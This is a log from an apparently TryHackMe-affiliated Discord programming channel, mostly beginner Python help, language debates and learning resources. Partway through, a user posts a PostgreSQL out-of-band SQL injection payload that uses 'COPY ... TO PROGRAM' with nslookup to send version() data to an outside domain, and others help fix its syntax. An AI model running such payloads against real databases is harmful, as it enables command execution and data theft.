programming

[brazen eagle]

That was also a joke

[lilac holly]

Fr

Testing is the most boring part of coding

"You should test your code to check it hasn't any problem" Ofc, tech bro

[brazen eagle]

Nah it can be the most interesting

What do I need to do to break this code?

[lilac holly]

Yeah

[brazen eagle]

And writing good tests is an art

[magic falcon]

testing should be what you start before writing code

The test should define what you want the code to achieve

[surreal bronze]

print(chr(sum(range(ord(min(str(not())))))))

hehe

[fiery eagle]

is there a legit way to bypass TrustedTypes
aside from reversing the createPolicy process
apart from finding out how the createPolicy process is made and trying to reverse it x inject it
is there a legit way ?
back in the trustedTypes github issues there were a lot of cases of bypass and I believe all of them if not most got all remediated

[whole yacht]

[hollow sorrel]

amog us

[shut beacon]

I have a problem i'm trying to solve in python and I'm doing something wrong and I was curious if I showed you the problem could someone help me out?

here's the problem:

You're a member of several secret societies. To get into a meeting you have to remember two passwords, but each of the secret organizations has a different set of passwords:

The Illuminati - "pickle" and "class"

The Lizard People - "elif" and "variable'

The Guild of Calamitous Intent - "function" and "block"

When you go to the secret location, the person at the door asks for the passwords one at a time. You can provide the two passwords in any order, but they both have to be for a specific secret society. For example:

Door: Please provide a password:

class
Door: Please provide another password:
pickle
Door: Welcome to The Illuminati! This week we're deciding which football team will win the Superbowl. Mwahahaha!

If you enter at least one of the passwords incorrectly, you won't be allowed in:

Door: Please provide a password:

java
Door: Please provide another password:
class
Door: This is just an inconspicuous local community theater group. Go away!

Create a program that asks the user for two passwords similar to the examples above. If they enter the correct passwords in any order, they should get a message welcoming them into the correct secret society. If they enter even just one incorrect password, they should be shooed away. Turn in a .py file with your code.

Hints:

You can get user input and store it in a variable.  You can do this for both passwords before you need to make the comparisons
There are multiple ways to check the password combinations

[edgy meadow]

Use the input() method and if statement, else or at least elif for two passwords you could use a while loop as well but keep it simple at first and try what you have learned before.

Or build a class for every object

[shut beacon]

i've been trying for the past few days but i keep doing something wrong

is there way to give me an example?

[edgy meadow]

At this point it would be interesting to see the code. Otherwise it will be difficult for people to help you.

[shut beacon]

ok this sucks but ill show

[edgy meadow]

Make three classes. Illums, lizards and the guild. Then you have to dive in OOP .

[shut beacon]

passWord1 = 'clam', 'pickle'
passWord2 = 'pickle', 'clam'

passWord1 = input("whats the password?")
passWord2 = input("what's the nest password?")

if passWord1 == passWord2:
print('yay')
else:
print("no")

i had it far better when i first started trying

then it started going down to crap

[edgy meadow]

First i see is the declaration of the variables. U cant use the same var name for the pwds and the inputs.

[shut beacon]

so i can't use pickle and clam in each variable

i was getting it going at first but the if or else statement would only work

i just need an example of like illuminati code and help me understand and i'll be able to do it

i feel like my head is splitting into

i just started programming last week

[edgy meadow]

You can assign several values to a variable in python, but this is not very practical for different properties. The problem here is the variable names. PassWord1 is used twice. This does not work with different values. Python rewinds the code from top to bottom. This means that passWord1 is overwritten with the next passWord1 variable.

[shut beacon]

crap

[edgy meadow]

I feel it ^^ . Every programmer goes the same way mostly ^^

That means you should go back to variable declaration topic and operators.

Followed by oop

[shut beacon]

passwords = "pickle" , "clam" then on next prompt type password1 = input ("enter password") then next line password2 = input ("enter second password"

then i need an argument of some kind or start with if statement

[edgy meadow]

Best advice i can give without providing the solution. Try it with one of them before you confuse yourself. Take the illums, write your code until it works and you'll get it for the other lizards and guilds ✌️

For the basics always keep it simple.

[plucky helm]

ChatGPT or similar would be really helpful here

[edgy meadow]

You are right. Its very helpful in such cases.

[shut beacon]

yeah, id use chatgpt but i feel like it would go overboard with the program. im needing a solution in order to know what i've been doing wrong. cause im freakin going nuts here. i've tried different ways but they were all wrong

[edgy meadow]

Its hard to tell but than you haven't understand the basic concepts. And its not meant rude just honest. I can promise you that will be even more frustrating you later if you don't go back. 🤝

[surreal bronze]

@shut beacon Is this for a class assignment?

[shut beacon]

yes

[surreal bronze]

I would ask your instructor for help

[magic falcon]

this sounds like a coursework assignment

one thing that will help you immensely as a new programmer is to map out the flowchart of what you want your program to do

draw it out so you can visualize and see the logic first

[brazen eagle]

isn't that just an activity diagram?

I haven't UMLed in ages

[crystal ibex]

Hi guys, is there somebody who can help me with a simple postgresql command syntax?

[surreal bronze]

just ask

[crystal ibex]

I would rather dm if possible

[surreal bronze]

Why?

You'll get much more help here

[ebon schooner]

just hit us with the problem and we'll do our bes tto help

[crystal ibex]

Okay then I am a bug bounty hunter and I found a OAST sqli. However I am unable to extract any information such as version or maybe current user to show the impact. My payload did not work on the website, so I setup a postgresql container to test my payload and I am countering a syntax error.

copy (SELECT version()) to program ''nslookup '||version()||'.<domain>''

the syntax error happens when performing concatenation

[ebon schooner]

probably your quote positions

combine " and ' instead of trying to use ' ' to enscapsulate two things

[crystal ibex]

I tried it and got a different error that I currently don’t remember what it was. But I modified the quotes and the payload so many times but still nothing

there is not much about postgre oast sqli on google

[edgy meadow]

https://www.postgresql.org/docs/current/sql-syntax.html

[ebon schooner]

you could also use CONCAT() instead of the double pipe operator

Since version 9.1, PostgreSQL has introduced a built-in string function called CONCAT() to concatenate two or more strings into one.

Here’s the basic syntax of the CONCAT() function:

CONCAT(string1, string2, ...)

[crystal ibex]

Thanks, I will look into those

[magic falcon]

keeping it simple, this seems to be an intro problem.....

[brazen eagle]

yeah I was being a bit facetious

[magic falcon]

le kek?

[brazen eagle]

sorry, still trolling 0day with Certain Doom

[fiery eagle]

0. you should exactly know what you're trying to do
1. you should exactly know the correct syntax to deliver said result or know the exact algorithm to deliver said result ( in the case of the algorithm it's recursive<the way you write code, unrelated to the problem you might be facing>, you need to know how to translate it into material code, you need to write the correct syntax )
   if you don't know the correct syntax => you should know the pseudo-code
   knowing the correct pseudo code => you should look for the ways to translate pseudo code into practical code
   if lost check the documentation of your coding language in your case python,
   I don't know if freecodecamp has python, they must have python courses
   I recommend freecodecamp and maybe any alternative that can come as close in terms of documentation like the Mozilla documentation of certain web features
   in worst cases ww3school can be your way to go

[fiery eagle]

if you followed my instructions and still find yourself lost
I can give you a hint that will most probably solve your problem
but you must prove your commitment by showing me what you learnt from my previous comment

[steady cloud]

I'm using helmet.js

I decided to use the 'parent' helmet() middleware.

          noSniff: true,
          ieNoOpen: true,
          hidePoweredBy: true,

would that work just as the regular app.use(helmet.js)?

  app.use(helmet.ieNoOpen());
  app.use(helmet.hidePoweredBy());

[nocturne wadi]

Should be noSniff i think but it should

[steady cloud]

Yeah, some typo. but I solved it thx lol

[wispy kestrel]

Gave +1 Rep to @nocturne wadi (current: #208 - 30)

[chilly steeple]

i am pretty new to this so sorry if its stupid..but i was just making a simple python script with solenium to open chrome and make a search and i noticed that after some seconds i get a notification on my terminal from Tensorflow..thing is i dont run any ai learning and i dont even have tensorflow on my pip list.is there a logical explanation as to why i get the msg about it running?also my chrome has no extensions if that matters at all

my only thought is that google just automatically stores information for an ai or something?idk.like even if it was some sort of malware shouldnt I have tensorflow on my piplist?

[nocturne wadi]

uninstall tensorflow

Check again after your next few reboots to make sure it isnt back

Unless someome else has better advice

[chilly steeple]

thing is..i dont have tensorflow...like it doesnt exist as far as i know

[magic falcon]

go through the stacktrace

it's possible that there's a buried dependency on it for some module you brought in

[prisma oriole]

1.method would be with nested if to check for pwd and then prompt out the door is unlocked particularly for which club.
2. To create a dictionary with key,val as club name,passwords(combination) ...
Now calling them in inverse

The tc(test cases) on this would mainly depend on the words being in small and capital letters or playing a mix of it ...
Other than that we are good

Incase this assignment is still valid lemme know ...
Will help furthermore
And if you can post more of such questions ...
Helps us become better in programming

[prisma oriole]

I guess that's for him to decide whether he wants some further help or not...

Ok...

That's your perspective on this ...
But still thanks for sharing

[wispy kestrel]

Gave +1 Rep to @low mantle (current: #2231 - 1)

[fiery eagle]

their main problem is an algorithmic problem and beyond that
0- they don't know how to resolve the problem in an abstract problem solving way
1- they randomly wrote some pseudo-code that doesn't appear to be solving the problem in question
2- they didn't take feedback or respond, meaning they might not be willing to improve or learn which defies the way they asked for a response ( maybe looking for a ready to go solution )
3- they lack fundamental basis of algorithmic understanding
4- they lack the basis of writing correct fundamental python

[prisma oriole]

I am kind of new to the server and to this community ...
I just saw someone ask for help and i did so 🤷😅

[fiery eagle]

me too I offered help before you came here

[prisma oriole]

But as you shared so many pointers will try to keep these in mind and guide them like this ...

[prisma oriole]

Thanks for sharing insights on this ...
Highly helpful

[wispy kestrel]

Gave +1 Rep to @fiery eagle (current: #2231 - 1)

[fiery eagle]

thank you as well for being enthusiastic about helping others

[wispy kestrel]

Gave +1 Rep to @prisma oriole (current: #2231 - 1)

[prisma oriole]

🙏🙏

[fiery eagle]

gifs don't work xD

[plucky helm]

You have to verify first

[lyric mirage]

You need to verify for embeds.

[fiery eagle]

what is the verification process like ?

[tribal junco]

@fiery eagle

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Sep 22, 2024, 3:30 PM

[lyric mirage]

Not too slow to catch your deleted message 😮

[fiery eagle]

omg jabba is involved if there's issues, this looks funner (more fun) than i expected

[plucky helm]

I know 😄
Just kidding 😅

[lyric mirage]

Jabba is our bot maintainer and Community Manager.

[fiery eagle]

he's human which why I'm amazed

tryhackme certifications seems intriguing

[fiery eagle]

i'm a big fan of transparent gifs

i collect them

^_^

xD

it's supposed to be a high value mematic content$

xD

[lyric mirage]

Can we please keep the channel relevant to the name please.

[fiery eagle]

ah sorry

I'll check which one of my newbie accounts I can use for verification

[lyric mirage]

one of them? 👀

[fiery eagle]

I might have dementia, I keep forgetting my passwords creating new accounts
endless cycle of helplessness x skill_issue "confirmed"

thankfully no money was spent ||guess money might cure them those issues ||
or was it ?

I'm the noobest yay

https://i.gifer.com/6mb.gif

[nocturne wadi]

Just do <name of site>1234, then give me the usernames/emails to all your accounts

Joking

[fiery eagle]

xD

[barren plank]

learning Qt Creator with C++ what you think about a desktop application with this type of login?

wops sorry

[stark summit]

not bad

[barren plank]

evolved since yester day 😂

[nocturne wadi]

What ui lib is that?

I cant find a good one for C++

[barren plank]

Qt

[nocturne wadi]

Oh you said that already lol

Thanks

[barren plank]

You style it with QSS so its pretyy much exactly like css but some different names and everything isnt there like background-size etc

[nocturne wadi]

Interesting

[stark summit]

interesting. pretty good tbh

[fiery eagle]

looks really cool, good job

[mental tundra]

hey guys, in python how do i fix "from" or "import" not recognized as internal or external command

[hollow sorrel]

You’re probably typing it elsewhere.

Most likely the command line

You need to run a Python interpreter or add it to a Python script (a text file with your code in it)

[mental tundra]

how bro

i was running it in cmd

[hollow sorrel]

Google should help you here. Search up tutorials on how to setup your beginning Python environment 🙂

[hollow sorrel]

Yeah, cmd won’t understand as from and import can only be understood by the Python interpreter.

[mental tundra]

[surreal bronze]

Can you paste the command output here?

[ebon schooner]

when you run a python script from a terminal, you need to start the command with python<version>, most commonly like python3 <script_name>.py

[old socket]

i should take the time to watch a genuine, full ~15 hour course like this (not in 1 sitting ofcourse) and just write down what i dont understand or pause the video at a topic i dont understand and do some more research on it while it's paused

thanks for the video

[heavy tangle]

Hello is the a framework or tool to handle graphql in cpp ?

[brazen eagle]

Very probably

[tired hawk]

Is it possible to build a discord bot using C/C++?

[true pumice]

Yes!

[solar hull]

Possible yes, but does it make any sense?

Personally I wouldn’t write anything subject to possibly malicious input in C or C++.

[true pumice]

🤔

I'm not sure that applies here, it's a Discord bot 😅

[solar hull]

Well it consumes discord message contents 🙂

And it doesn’t need to be intentionally harmful. Corrupt data might cause issues as well.

[true pumice]

Why specifically C though? Can't this happen in any language?

[solar hull]

Not all languages provide such direct unprotected memory access.

And depend on that.

[tired hawk]

I mean there are ways to prevent it

[solar hull]

Tbh I wouldn’t write anything new in c or c++ but that’s me.

[true pumice]

I feel like it more depends on your ability, rather than blaming the program language itself

[solar hull]

Let’s put it this way: some languages make it easier to write buffer overflow attack resistant code, for example.

[true pumice]

I believe C has protected functions now? 😄

Obviously not 100% foolproof but neither is any language

[solar hull]

Well whatever. If you feel like spending extra effort on securing your c code, go for it 🙂

[true pumice]

I would trust a program someone has spent extra time to fortify over one that someone wrote really quickly 😁

[solar hull]

Ok.

[tired hawk]

I was just asking. I'm not going to build an actual bot using C.

[true pumice]

It's possible to build in any language as long as you can work with an API.
I would recommend to stick to languages that have an active framework, i.e. python, js, go

[tired hawk]

Yh, I'm not crazy or smart enough to build anything in C.

[lyric mirage]

That makes one of us

[nocturne wadi]

Make it in bytecode

By hand obviously

[dusk turtle]

fr. c++ std lib offers a lot of goodies. really hard to go wrong with smart pointers. funny enough the most unsecure/buggy c++ code i've seen are the lines that interact with Win32

[tired hawk]

So, why don't these companies use Rust? I mean it's a new language with C/C++ behavior but more secure as I know.

[dusk turtle]

because they have a working c/c++ codebase that is 15+ years old and everyone knows it inside and out. there is a very large amount of time it takes to get developers to be as proficient in one language as another. and it’s not comparable to swapping from, say, python to javascript. rust is a difficult language to learn and master. even more, there is a rich history of libraries built with c/c++ that just don’t have a rust equivalent

[tulip sail]

Good luck getting a memory exploit in a python program...

Technically python script

[tired hawk]

I agree but won't the developers get to the place where they're at C/C++ with rust in a few years if they start the migration now? I mean little by little. They could make it, right?

[nocturne wadi]

I mean a lot of stuff could easily be written in Python using pyinstaller

I believe it would need a lower level interface though which is probably less secure than just writing the whole thing in low level

[calm pier]

A lot stuff doesn't need to be written in Python tbf.

[hollow sorrel]

I highly doubt, adoption takes a long time. We still have Windows Server 2003 running and COBOL

[nocturne wadi]

I agree

[magic falcon]

generally shitty old lib inclusions. static c libs are way more common than anyone wants to admit. I think that writing more modern C/C++ is fine, it's just going to be slower and requires more actual expertise in execution and runtime than other high level languages

[magic falcon]

rust doesn't really behave the same as c/c++. It requires a very different mindset than C/C++. Mathematically, I think it is much reliant on mechanisms that can lead to code insecurity.... is it better? I don't think that there's a consensus either way at this point. It does some things easier, but also has some other corners that need to be worked around (as all languages do).

[brazen eagle]

You're trading one set of issues for another. I still think rust is a better language overall though

[magic falcon]

I think better is a completely subjective statement, and requires me to reorient the way I think about memory management in ways I find counterintuitive and more frustrating than convenient. It's a very good choice if one wants a language with memory-specific constraints out of the box, though

[brazen eagle]

Well yes, but eliminating an entire class of memory bugs is a pretty good tradeoff imo

[tulip sail]

You say that, but COBOL is still very much alive

Mainframes are still king in finance (and commerce, iirc)

[fiery eagle]

would there be a case where a person would be obliged to write asm or masm ?
or is it far fetched from reality ?

[calm pier]

LoL

[ebon schooner]

would there be a case where I have to learn something? I'd prefer not to learn something

[fiery eagle]

so you have learned everything ?
name everything of knowledge this universe has to offer, write it as a transfinite induction
or do you have infinite time to learn infinite things ?
think not

I wouldn't waste my time (monthsXyears) learning things I'm not gonna use
your statement seems like a smartless dumb statement, you have no fucking idea what learning is or what it means
how much time and energy it takes to learn

that is if you knew that: you wouldn't embarrass yourself with such an ignorant comment
Speaking of learning, now is the time to learn how to verify your account, guess someone still failed to learn that

[brazen eagle]

Writing is probably rare unless you need to do some really weird stuff, reading is an essential skill for reverse engineering

[tranquil flame]

I wouldn't say it's too weird when doing really low level stuff like OS or embedded systems, depends what ur working with

[gleaming acorn]

python vs lua for writing tools what do we think

[brazen eagle]

Depends on the tool

[hollow sorrel]

Each language will have its pros and cons but for most exploit scripts I’ve written, Python has been more than enough. It has a large list of third-party libraries, active development, and its syntax is user friendly imo.

I haven’t used Lua for writing exploits except on a select few instances and even then they were mostly just reverse shells.

[ebon cliff]

Lil something I wrote quick

https://gist.github.com/VTSTech/1b39e434716daff200563f784d4f1dab

[nocturne wadi]

https://tenor.com/view/funny-sad-emoji-getting-disintegrated-into-dust-denigrating-denigrating-face-emoji-meme-lol-gif-27508363

How long did that take

[ebon cliff]

30sec for the first version. Maybe 10min with a few more variables.

[rustic briar]

No for loop? :/

[drifting bobcat]

Hi everyone, I want to learn java programming, can you please suggest some good books/youtube channels that I can use to learn java?

[nocturne wadi]

Codecademy is a good place to start imo

Most of what ive learned about C++ specifically has been codecademy then googling stuff while doing side projects

And the Oracle docs are a great place for research

[fiery eagle]

exactly
doing high level reverse didn't come across assembly
but for lower levels or high levels such as games when decompiling that's when you'll see asm
to be honest i might have noticed asm or something similar back when i was manipulating a cheating engine for an emulated game
although I don't remember vivdly seeing any asm expression
just game variables
modifying the variables can break the game as those same variables are directly related to coherent game loops
pretty sure game engines should be able to output things in asm since they're doing literal reverse
so far I never needed to write it for the sake of programming

( I only wrote the closest to asm in a certain course that was somehow obscure since they didn't teach the things you find online, I did my best but i never encountered the course material in internet, it was just local to a college course, which I doubted its legit, but apparently it was a very unique logic unrelated to asm, my biggest regret is that I couldn't understand it in its whole integrity back then, and it wasn't my fault because I couldn't retrieve the course physically, and using the internet I couldn't even decipher the course part i have acquired, I assumed the course was falsehood since the internet taught things differently,
I only realised the course was legit when reviewing with a fellow classmate who happened to have the full physical course and not only that he understood it all, the trick to this course isn't assembly, but the inside logic that only solves the course problems that you won't encounter in real life as far as i remember, that is only related to mips )
I believe in times of doing embedded stuff using hard memories/automata with very small storage and a physical small volume like things related to aviation for example
the aviation was something I was told by someone who knew exactly what their talking about
that is when people might be forced to write asm
because any higher level code might not work with non complex devices
unless by nano technology

in the internet didn't find anything specific or even interesting at all

I even heard that sometimes engines are left with asm output and those who engineer or manipulate those engines
use that output to determine their next move or current status
but this is really technical stuff, for when critical things happen, the engineers would automatically know what's going on

I really don't know if this is true or not, because outputs are expected to be high level outputs in most cases like when you're driving a car or for example inside a factory that has many engines

[brazen eagle]

Most embedded code for vehicles is written in C and must follow MISRA standards

Which basically says don't do anything stupid

Or particularly clever tbh

Though to be fair, clever code is not always good code

[tranquil flame]

My Prof has a saying that says don't write clever code because when it comes to debugging you need someone twice as clever to figure out what went wrong

[limber ocean]

Yeah readability should always be a priority

[brazen eagle]

Smart prof

You start learning that clever code is bad usually about 2 years in. This is also generally preceded by you cursing past self for writing said clever code

[tranquil flame]

Especially when you're doing pointer magic and need to debug something down the line 😭

[hollow sorrel]

Did some beginner-level Python exercises on some platforms, the amount of solutions doing it all in one line is absurd. “Pythonic” they say

[true pumice]

Hey @vital hemlock please don’t share keyloggers here:)

[vital hemlock]

okay bro but can I ask for the help here

[true pumice]

Not with keyloggers or other malicious scripts, that is restricted to our advanced channels

[vital hemlock]

okay got it.

[brazen eagle]

https://blog.jetbrains.com/blog/2024/10/24/webstorm-and-rider-are-now-free-for-non-commercial-use/ this is pretty cool

[hollow sorrel]

sorry I don’t use java, can you explain it in python terms

[nocturne wadi]

Thats really cool!
Thankfully i get the whole thing with student license

[brazen eagle]

IDEs for Javascript and C# are Free for non-commercial use

[nocturne wadi]

Does anyone have a good resource(s) for making secure programs(preferably in java)?

[brazen eagle]

OWASP does

https://cheatsheetseries.owasp.org/cheatsheets/Java_Security_Cheat_Sheet.html starter

[brazen eagle]

see above, also if using a framework, read the framework docs

[nocturne wadi]

Thank you so much!

[wispy kestrel]

Gave +1 Rep to @brazen eagle (current: #12 - 610)

[brazen eagle]

What kind of application are you coding?

[nocturne wadi]

Nothing specific, im just learning java and wanted to look at some best practices

[brazen eagle]

ok

[high sky]

can you send your code?

Here, if possible. That way others can help if needed, and can see the resolution

can you show your burp request headers?

or just the whole request actually

If you're logged in to an account you care about in this session, please delete this ASAP and redact your cookie information

fair enough

when you send this post request in Burp, you get back a response that has set-cookie as a header?

can I ask what this is for? There may be an easier way to do this

Microsoft has APIs for this

https://learn.microsoft.com/en-us/outlook/rest/get-started

Do you not have access to the account to set up the app registration?

What is your use case? You should be able to set this up with any account you already have access to

Sure, feel free to DM me

[lyric mirage]

This sure sounds suspicious.

[modest basin]

:hammer: makonheiro#0 has been banned.

[mental tundra]

are there sites that hide their index.html file?
im trying to use the template of this site but i can't view the index after downloading with "sav all resources"

[high sky]

can you show me what template you're using?

like send the link

or even just a screenshot of the files

[royal briar]

can i talk to someone about virus codes?

[true pumice]

Malware is restricted to our advanced channels.

[tribal junco]

Discord: What are the advanced channels?

Article Link

https://help.tryhackme.com/en/articles/8671900-discord-what-are-the-advanced-channels

Oct 29, 2024, 1:54 PM

[stuck vine]

Could you grant me access to those channels?

[true pumice]

It’s all detailed in the above document:)

[stuck vine]

Yep, read it. I'm 0xD but don't see them

[true pumice]

Your level on the website is currently cyber crusader. You won’t be able to access the channels until the event is over unfortunately

[stuck vine]

okay thx 😄

[wispy kestrel]

Gave +1 Rep to @true pumice (current: #6 - 1342)

[zenith plover]

Someone wanna talk about web app defense?

[fierce cedar]

no ._.

[tranquil flame]

What about it?

[dusty ore]

I saw many projects on github have a dedicated profile for it, like this one https://github.com/ScrapeGraphAI
I want to create a similar one as well, a profile where I can put most of my related repos into it. But to get this, do I have to create a new github account or sth?

[hollow sorrel]

Its an organization account

[dusty ore]

i get it, thanks!

[wispy kestrel]

Gave +1 Rep to @hollow sorrel (current: #20 - 425)

[buoyant sandal]

if input("hello I'm hoping to learn a programming language other than python") == "go learn javascript":
print("thank you I will go and learn that")
else:
print("oh I thought you were going to say learn javascript")

[true pumice]

Learn rust

[buoyant sandal]

fn main() {
println!("ok thanks I'll be back once I've learned rust it looks simple enough");
}

[subtle gyro]

Anyone know where to get started on learning kubernets?

or at least got a recomened path to learn?

[upbeat frost]

check out this

https://tryhackme.com/r/room/introtok8s

[subtle gyro]

[nocturne wadi]

W jabba

[signal rivet]

how important is learning java

[tranquil flame]

It also closely ties in with OOP (I learned it through Java)

[cursive anvil]

oh wow. theres a k8s room here? i've been itchin to look into kubernetes

[signal rivet]

I’m guessing it would be important for like web pentesting

Never heard of kotlin before

I just started learning burp

Very interesting tool I must say

Main reason why I started is to use the proxy and bypass the redirect this stupid scam site uses so you can’t use a computer to analyze it

But first I must learn 👊

After the THM room what other resources do you recommend to learn further

[tulip sail]

Depends whether you're doing white box or grey/black box. A huge number of enterprise web apps are written in Java (unfortunately) so it's kinda essential for code reviews. Also worth understanding things like Java random number generation, even if grey / black box.

[onyx merlin]

@stray canyon Please don't advertise your discord here

[brave fractal]

Need help with saving/restoring states in my game using the pickle module. It creates the, it just doesn't read it I guess.

[hollow sorrel]

Where's the part in the code flow where you login and then load the progress?

[brave fractal]

picture in top right shows save and load functions, picture on bottom right shows login logic

[hollow sorrel]

Yeah but I don't see the class object being created, if the load_progress() is being called by login() or its handled differently

[brave fractal]

That's probably why it isn't working because I left it out 😂 thanks

I feel dumb

[wispy kestrel]

Gave 1 Rep to mknukn (current: #19 - 432)

[brave fractal]

Thanks so much, it was a dumb mistake. The save state was an after thought and I left out the class. The users will much appreciate the ability to save states on a large project like this

[hollow sorrel]

when you create a new python project, it should automatically download the python version as a virtual environment if it doesnt exist in the system

[keen peak]

I’ve got a question about a c program and execve(). On some VMs, running execve(file, NULL,NULL) will set argc to 0 and on some argc is still 1 (argv is null). What could be causing this.

[tacit lynx]

i think it might be OS dependent? (not so sure) like when you pass NULL as argv some os implementations might explicitly set argc to 0, while others default to argc=1 with a NULL argv

but i'm not an expert tho

[keen peak]

i got 0 on a ubunto WSL and i got 1 on a ubunto VM. Ive also read that the kernal does not care and will run regardless, i think it could be related to like coreutils package overriding it.

i see no difference in shells tho

[keen peak]

strace give execve("test", [], 0x555555558038 /* 0 vars */) = 0 on all machines. does that tell me anythign

[tacit lynx]

could it be different versions of glibc or how the runtime was compiled on WSL vs the VM?

[tacit lynx]

yeah that was mb homie

[umbral arrow]

How did u learn c?

[tacit lynx]

i took cs50x

and was forced to use it

[umbral arrow]

I feel like I should learn a language besides python and js

[tacit lynx]

then i realized it was kinda fun tho

and now i hate it again

[tacit lynx]

c will make you appreciate python more

tbh

[umbral arrow]

Thx I gtg

[tacit lynx]

aight sure cya

[tacit lynx]

bro u have more dependencies than actuall code 💀

[lyric mirage]

@stoic condor please don't self promote.

[stoic condor]

Sorry...will keep in mind next time

[stoic condor]

😅😅it was my first time so maybe I might have used more..

[surreal bronze]

Here's a programming "riddle" for you all

l = []

for a, *l[-a:], c in [range(i) for i in range(3, 7)]:
    print(l)

What is the output of this? No cheating by running it!

Explain your answer, and use spoilers if possible)

[pulsar meteor]

||

l = [ ]   #empty list 

for a, *l[-a:], c in
# The loop will unpack each range object into variables:
a # takes the first element of the range

*l[-a:] # extends the list l by unpacking elements into the slice l[-a:]

c # takes the last element of the range

[range(i) for i in range(3, 7)] 
# creates a list of range objects for i from 3 to 6. The last number in python in a range is exclusive that’s why 7 is not in the following range:
range(3) -> [0, 1, 2]
range(4) -> [0, 1, 2, 3]
range(5) -> [0, 1, 2, 3, 4]
range(6) -> [0, 1, 2, 3, 4, 5]

Will the code be executed?
I think not because the *l[-a:] is not executable in Python. Not sure about the right wording. You can't directly use * to extend a list slice like this inside a for loop. This part of the code would create a error because you can't assign to a slice in this context like l[-a:]

||

So ||nothing|| will be printed just ||the error in the console ||

If im right 😂 that took me some time on the phone notes 😂

[surreal bronze]

||Not quite. So *l[-a:] in this case is a valid assignment of l. The code does run.

a, b, c = range(3)
# is valid, now say you didn't know how many numbers were on the right-hand side. here's where the * operator comes in
a, b*, c = range(10)
# The first element goes to a, the final element goes to c and because of the * operator, the rest go to b which becomes a list
# kind of like using it in a function with **args and **kwargs (see so post at the end) 

# Now for the lists, say we have l as
l = [1,2,3]
# we can replace single elements like so
l[1] = 0 
# l -> [1,0,3]
# but we can also replace *multiple elements* using a slicing reference
l[:-1] = [0,1]
# l -> [0, 1, 3]
# note how the slice operator in this case gets *all elements before the final one* and replaces it
# ...but what if the size of the list we are modifying is smaller than our right-hand assigment, such as
l[:-1] = [0,1,2,4] 
# l[:-1] only gets 2 elements, and we're trying to assign 4! what happens?
# l -> [0, 1, 2, 4, 3]
# It won't error, but just put force all the elements in. If the slice refers to all elements to the *start* of the list (like in our example), then it'll force it to the start. And vice-versa.

# combining the behaviour of the * and list assigment, if we take this example:
l = [1, 2]
a, *l[:-a], c = (1,2,3,4)
# a becomes 1, c becomes 4
# *l[:-a] therfore becomes *l[:-1] 
# last element in l is 2 and the slice refers to everything *before*, therefore 1st element will be replaced and the rest of the elements inserted to the start

# the rest of the elements in the list to be assigned are (2,3) therefore l will be come
# l -> [2, 3, 2] 
# note how the final 2 is untouched from the oringinal list

Now with that in mind, note how the whole expression a, *l[-a:], c is a valid assignment, therefore valid in the context of a for loop.

https://stackoverflow.com/questions/509211/how-slicing-in-python-works
https://stackoverflow.com/questions/35636785/star-operator-on-left-vs-right-side-of-an-assignment-statement
||

[pulsar meteor]

||
So we would get an error if the iterable doesn’t contain enough items to assign to all the mandatory expressions. Here for example if we would have :

[range(i) for i in range(2, 7)]

range(2) -> [0, 1]
#should result in an error?

||

[surreal bronze]

||Not sure what you mean, in the code it's using range(3,7)||

[pulsar meteor]

Just went further thinking about when the foor loop would break.
It will break when || [range(i) for i in range(1, 7)] || Not like i thought with || [range(i) for i in range(2, 7)] ||

[surreal bronze]

Correct, hence why its range(3,7)

[wheat mica]

Any c programming resources other than learn c org , code for win and cs50

[alpine wave]

https://www.cc4e.com/lessons

[bitter plaza]

i'm looking for a bash scripting resource that goes from classic hello world examples to advanced programming of command line tools, with some command line GUI aspects involved.
something in the style of the old 2010s programming books, but for bash, preferably 5.1+

I'm building out a current tool I've created into something larger and more versatile, but want to do a bulk by hand myself instead of asking gpt a billion questions and double checking everything.

or if there are tools to create tools, that's cool too.

[delicate pewter]

you can checkout this github page https://github.com/rawiriblundell/wiki.bash-hackers.org/blob/main/start.md

you can also checkout this book "Classic Shell Scripting"

[bitter plaza]

the book is from 2005. I could google it, but feel it would miss the nuance; is the largely still applicable? there haven't been drastic changes to the language that will make this incorrect or at least not as useful?

[bitter plaza]

this looks great. 👍🏻

[delicate pewter]

Good luck to you!

[stark summit]

Actually a pretty good concept. Ngl this is interesting

[versed ginkgo]

I need to do some file reading in a project of mine. This is how I am checking for path traversal:

from argparse import ArgumentParser
from pathlib import Path

DOCUMENT_ROOT = Path("/home/username")

def validate_requested_file_path(requested_path: Path):
    """
        Only allow files in the subdirectories of `DOCUMENT_ROOT`.
        (is this check secure enough or is it possible to bypass?)
    """

    return DOCUMENT_ROOT.resolve() in requested_path.resolve().parents

parser = ArgumentParser()

parser.add_argument("filename")
args = parser.parse_args()


try:
    filename = Path(args.filename)
    assert validate_requested_file_path(filename), "No path traversal! >:("
    with open(filename) as f:
        print(f.read())

except Exception as e:
    print(f"Error: {e}")

I tested this check works with some symlinks and relative paths and it seems to be working fine and preventing those, but maybe I missed something. If anyone can think of a way to bypass this lmk

[surreal bronze]

Does /opt/home/username/xyz work?

Not on my PC right now

[versed ginkgo]

Seems like it caught it:

~$ sudo touch /opt/home/username/test.txt
~$ ls -l /opt/home/username/test.txt
-rw-r--r-- 1 root root 0 Nov 23 13:37 /opt/home/username/test.txt
~$ python3 main.py /opt/home/username/test.txt
[PosixPath('/opt/home/username'), PosixPath('/opt/home'), PosixPath('/opt'), PosixPath('/')]
Error: No path traversal! >:(

I added a print statement for requested_path.resolve().parents in there. You can see that the parents don't include PosixPath('/home/username') so it should be fine:

def validate_requested_file_path(requested_path: Path):
    print(list(requested_path.resolve().parents))
    return DOCUMENT_ROOT.resolve() in requested_path.resolve().parents

If by /opt/home/username/xyz you meant making it a relative path inside xyz like /opt/home/username/../../../etc/passwd then I am pretty certain that it won't work either because the resolve() function is converting the path to an absolutely path, including resolving symlinks etc. so it should be aight.
Thank you for responding

[true pumice]

Hey, please make sure you're asking administrators before recruiting testers here.

[spice canyon]

Im sorry for that

[lyric mirage]

@exotic holly
Linear search

def linear_search(arr, target):
    for i in range(len(arr)):
        if arr[i] == target:
            return i  # Return the index where the target is found
    return -1  # Target not found

# Example Usage
unsorted_list = [11, 3, 7, 9, 5, 1]
target = 7
result = linear_search(unsorted_list, target)
if result != -1:
    print(f"Target {target} found at index {result}")
else:
    print("Target not found")

Binary search

def binary_search(arr, target):
    low, high = 0, len(arr) - 1

    while low <= high:
        mid = (low + high) // 2  # Find the middle index
        if arr[mid] == target:
            return mid  # Target found
        elif arr[mid] < target:
